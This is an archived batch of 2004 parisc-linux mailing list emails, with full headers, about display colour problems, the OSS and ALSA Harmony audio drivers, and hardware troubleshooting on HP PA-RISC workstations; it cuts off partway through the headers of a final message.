	id CB4584B6A1; Tue, 11 May 2004 11:04:44 +0200 (CEST)
In-Reply-To: <200405102359.41471.deller@gmx.de>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21623


--===============1412500615==
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="Re2uCLPLNzqOLVJA"
Content-Disposition: inline


--Re2uCLPLNzqOLVJA
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 2004-05-10 23:59:41 +0200, Helge Deller <deller@gmx.de>
wrote in message <200405102359.41471.deller@gmx.de>:
> On Monday 10 May 2004 23:31, Carlos O'Donell wrote:
> > pa,
> >=20
> > No, not THE blue screen, but my blue screen. Have a 715/50, but the
> > graphics are all tinted blue. I remember a similar problem being fixed a
> > long time ago. I'm searching the ML, but I can't find what I'm searching
> > for in particular.
>=20
> I saw that too today - not sure yet if due to the new kernel or due to an=
 apt-get upgrade...

Some 'Visual "TrueColor"' missing?

I rememeber that from dark ages ago...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--Re2uCLPLNzqOLVJA
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAoJcsHb1edYOZ4bsRAlvDAJ4ml8Z0CdOiL7qm//sraW6bmi026QCeLD6/
0Ol3fUAX9nwVLPUBo8AfQ+c=
=TTHM
-----END PGP SIGNATURE-----

--Re2uCLPLNzqOLVJA--

--===============1412500615==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1412500615==--



From - Thu Nov 08 21:32:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Harmony driver - Reject AFMT_S16_LE &
	Implement SNDCTL_DSP_CHANNELS
Date: Tue, 11 May 2004 14:07:37 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20040511130737.GP16118@parcelfarce.linux.theplanet.co.uk>
References: <20040222092057.GA2590@calypso> <20040223035601.GA988@calypso>
	<20040511052451.GC27478@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623442 9373 80.91.229.3 (22 Nov 2014 02:30:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4522 invoked by uid 65534); 11 May 2004 13:07:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 11 May 2004 15:07:54 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6B4F93BF57; Tue, 11 May 2004 07:07:42 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 6ECDA3BF54
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 May 2004 07:07:39 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1BNWyv-0004eR-TG; Tue, 11 May 2004 14:07:37 +0100
Content-Disposition: inline
In-Reply-To: <20040511052451.GC27478@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21624

On Mon, May 10, 2004 at 11:24:51PM -0600, Grant Grundler wrote:
> 2) OSS is "decprecated" according to the 2.6 sound/Kconfig "Help".
>    Ie use ALSA instead.  See SOUND_PRIME option.
> 
> In 2.6, ALSA harmony driver does NOT compile and that's disappointing.

The basic problem here is that ALSA doesn't use the generic device model.
It has its own crazy set of bus abstractions which would all need to
be implemented for the parisc_device ... for the benefit of one driver.
Small wonder nobody's been interested in doing the work yet.

I think we'll be sticking with OSS Harmony for a while.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul" <paul@techcenter3000.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Harmony driver - Reject AFMT_S16_LE
	&Implement SNDCTL_DSP_CHANNELS
Date: Tue, 11 May 2004 09:39:01 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <008b01c43765$b3fe0450$0702a8c0@tfam.org>
References: <20040222092057.GA2590@calypso>
	<20040223035601.GA988@calypso><20040511052451.GC27478@colo.lackof.org>
	<20040511130737.GP16118@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  format=flowed;
  charset="iso-8859-1";
  reply-type=original
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623443 9376 80.91.229.3 (22 Nov 2014 02:30:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>,
 "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10568 invoked by uid 65534); 11 May 2004 14:38:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx001) with SMTP; 11 May 2004 16:38:44 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 301EB3BF63; Tue, 11 May 2004 08:38:28 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from TECHCENTER3000.COM (cpe-24-221-227-115.tx.sprintbbd.net
	[24.221.227.115])
	by free.linux.hp.com (Postfix) with ESMTP id A0FCC3BF60
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 May 2004 08:38:24 -0600 (MDT)
Original-Received: from betsy (cs2416712-202.houston.rr.com [24.167.12.202])
	by TECHCENTER3000.COM (Postfix) with SMTP
	id D035D8001C; Tue, 11 May 2004 09:36:14 -0500 (CDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.2096
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2096
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21625

Actually, ALSA Harmony driver is compiling at this point (2.6.6-rc3-pa9), 
with the caveat that you need the latest CVS of sound/parisc..
Takashi Iwai has been kind enough to work on this, with me doing some basic 
testing. Unfortunately, my testing hit a snag when a hard drive started 
releasing magic smoke ever so slowly.

Thanks
Paul

----- Original Message ----- 
From: "Matthew Wilcox" <willy@debian.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Tuesday, May 11, 2004 8:07 AM
Subject: Re: [parisc-linux] [PATCH] Harmony driver - Reject AFMT_S16_LE 
&Implement SNDCTL_DSP_CHANNELS


> On Mon, May 10, 2004 at 11:24:51PM -0600, Grant Grundler wrote:
>> 2) OSS is "decprecated" according to the 2.6 sound/Kconfig "Help".
>>    Ie use ALSA instead.  See SOUND_PRIME option.
>>
>> In 2.6, ALSA harmony driver does NOT compile and that's disappointing.
>
> The basic problem here is that ALSA doesn't use the generic device model.
> It has its own crazy set of bus abstractions which would all need to
> be implemented for the parisc_device ... for the benefit of one driver.
> Small wonder nobody's been interested in doing the work yet.
>
> I think we'll be sticking with OSS Harmony for a while.
>
> -- 
> "Next the statesmen will invent cheap lies, putting the blame upon
> the nation that is attacked, and every man will be glad of those
> conscience-soothing falsities, and will diligently study them, and refuse
> to examine any refutations of them; and thus he will by and by convince
> himself that the war is just, and will thank God for the better sleep
> he enjoys after this process of grotesque self-deception." -- Mark Twain
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A couple of questions
Date: Wed, 12 May 2004 08:59:59 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <20040512065959.GM1912@lug-owl.de>
References: <000a01c437a4$c0d70de0$6401a8c0@nwoods>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1894516987=="
X-Trace: ger.gmane.org 1416623443 9378 80.91.229.3 (22 Nov 2014 02:30:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5649 invoked by uid 65534); 12 May 2004 07:00:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx029) with SMTP; 12 May 2004 09:00:28 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DDC313BDE7; Wed, 12 May 2004 01:00:04 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by free.linux.hp.com (Postfix) with ESMTP id 6CB823BDD4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 May 2004 01:00:01 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id C3DA94B67D; Wed, 12 May 2004 08:59:59 +0200 (CEST)
In-Reply-To: <000a01c437a4$c0d70de0$6401a8c0@nwoods>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21626


--===============1894516987==
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="h3BncCmUfYp8450W"
Content-Disposition: inline


--h3BncCmUfYp8450W
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, 2004-05-11 18:10:04 -0400, Nathaniel Woods <nwoods29321@chater.net>
wrote in message <000a01c437a4$c0d70de0$6401a8c0@nwoods>:
> First off,  I am using an HP 9000/720.
> 1. How do I configure XFree86 to use my vid card? I know I must us FBdev =
but it always tells me "Addscreen/Screeninit failed for driver 0"

1. Please supply the "dmesg" command output to first of all let's see if
your video subsystem works properly.

2. Please supply the full /var/log/XFree86.0.log

> 2. When trying to access the floppy (which is at /dev/sda) the system cra=
shes. How do I fix this?

Are there any messages? Yes? Which ones? If in doubt, better send too
much than too little...

> 3. There is a built in audio port. How do I configure it?

What kernel version do you have? It's probably the harmony driver, but
it's (currently) kind of broken:)

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--h3BncCmUfYp8450W
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAoctvHb1edYOZ4bsRAj4tAJ0ayWjlESuA+d6j8qYLG4zIl6hTYgCfd/gz
iMYlLqY2OnjVhaMLgDQSUcY=
=TicZ
-----END PGP SIGNATURE-----

--h3BncCmUfYp8450W--

--===============1894516987==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1894516987==--



From - Thu Nov 08 21:32:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A couple of questions
Date: Wed, 12 May 2004 13:27:12 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <20040512122712.GG6278@parcelfarce.linux.theplanet.co.uk>
References: <000a01c437a4$c0d70de0$6401a8c0@nwoods>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623443 9382 80.91.229.3 (22 Nov 2014 02:30:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nathaniel Woods <nwoods29321@chater.net>
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12577 invoked by uid 65534); 12 May 2004 12:27:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 12 May 2004 14:27:53 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A085E3BE00; Wed, 12 May 2004 06:27:17 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id E73713BDED
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 May 2004 06:27:14 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1BNspM-0006P6-RW; Wed, 12 May 2004 13:27:12 +0100
Content-Disposition: inline
In-Reply-To: <000a01c437a4$c0d70de0$6401a8c0@nwoods>
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21627

On Tue, May 11, 2004 at 06:10:04PM -0400, Nathaniel Woods wrote:
> First off,  I am using an HP 9000/720.
> 2. When trying to access the floppy (which is at /dev/sda) the system
> crashes. How do I fix this?

By sending us the messages ;-)

> 3. There is a built in audio port. How do I configure it?

Is there?  I don't see one listed in the device inventory at
http://hwdb.parisc-linux.org/view.php3?type=machine&name=720

We currently know about 5 kinds of audio on PA machines.  Most older
machines have Harmony (sversion 0x0007B).  The 705 and 710 have a
different audio chip (sversion 0x0007A).  The 745i and 747i have another
(sversion 0x0007E) and the 735 and 755 have a fourth (sversion 0x0007F).
The newest workstations have a PCI sound chip which I know little about.

The harmony driver claims to support the 7B, 7E and 7F audio types and has
support for 7A commented out (presumably it doesn't work).  The first
thing to do is to boot the machine, preferably with a 2.6 kernel.
You should see the device inventory which looks something like this:

Found devices:
1. Gecko 80 GSC Core Graphics at 0xf8000000 [1] { 10, 0x0, 0x01c, 0x00085 }
2. Gecko 80 Core BA at 0xf0100000 [2] { 11, 0x0, 0x01c, 0x00081 }
3. Gecko 80 Core SCSI at 0xf0106000 [2/0/1] { 10, 0x0, 0x01c, 0x00082 }
...
15. Gecko 80 (712/80) at 0xfffbe000 [8] { 0, 0x0, 0x601, 0x00004 }
16. Memory at 0xfffbf000 [9] { 1, 0x0, 0x038, 0x00009 }
CPU(s): 1 x PA7100LC (PCX-L) at 80.000000 MHz

Could you send your inventory?  That gives us a place to start looking.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A couple of questions
Date: Wed, 12 May 2004 15:04:03 +0200 (CEST)
Lines: 20
Approved: news@gmane.org
Message-ID: <38314.193.161.152.244.1084367043.squirrel@www.puszczka.com>
References: <000a01c437a4$c0d70de0$6401a8c0@nwoods>
	<20040512122712.GG6278@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623443 9386 80.91.229.3 (22 Nov 2014 02:30:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:43 +0000 (UTC)
Cc: Nathaniel Woods <nwoods29321@chater.net>,
 parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14387 invoked by uid 65534); 12 May 2004 12:51:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 12 May 2004 14:51:50 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7F37C3BE09; Wed, 12 May 2004 06:51:15 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by free.linux.hp.com (Postfix) with ESMTP id F17D83BDEF
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 May 2004 06:51:11 -0600 (MDT)
Original-Received: from tolstoy.puszczka.com (81.80-202-73.nextgentel.com
	[80.202.73.81]) by mail.broadpark.no (Postfix) with ESMTP
	id BA051222E; Wed, 12 May 2004 14:51:23 +0200 (MEST)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id A4CF17E72; Wed, 12 May 2004 15:04:03 +0200 (CEST)
Original-Received: from 193.161.152.244 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Wed, 12 May 2004 15:04:03 +0200 (CEST)
In-Reply-To: <20040512122712.GG6278@parcelfarce.linux.theplanet.co.uk>
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21628

> On Tue, May 11, 2004 at 06:10:04PM -0400, Nathaniel Woods wrote:

>> 3. There is a built in audio port. How do I configure it?

720 = Cobra, chipset is ASP.
OpenPA.Net lists a "beep audio jack" on the Cobra. Doesn't sound
very exciting, and it sure ain't Harmony. OpenPA also has a link
to the Owners Guide.

http://www.openpa.net/systems/snakes.html
http://h20000.www2.hp.com/bc/docs/support/SupportManual/lpv37630/lpv37630.pdf


-Andy
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Nathaniel Woods" <nwoods29321@chater.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] More ??'s
Date: Wed, 12 May 2004 13:17:33 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <000501c43845$082f6840$6401a8c0@nwoods>
References: <20040512125116.B15273BE18@free.linux.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623444 9387 80.91.229.3 (22 Nov 2014 02:30:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:44 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
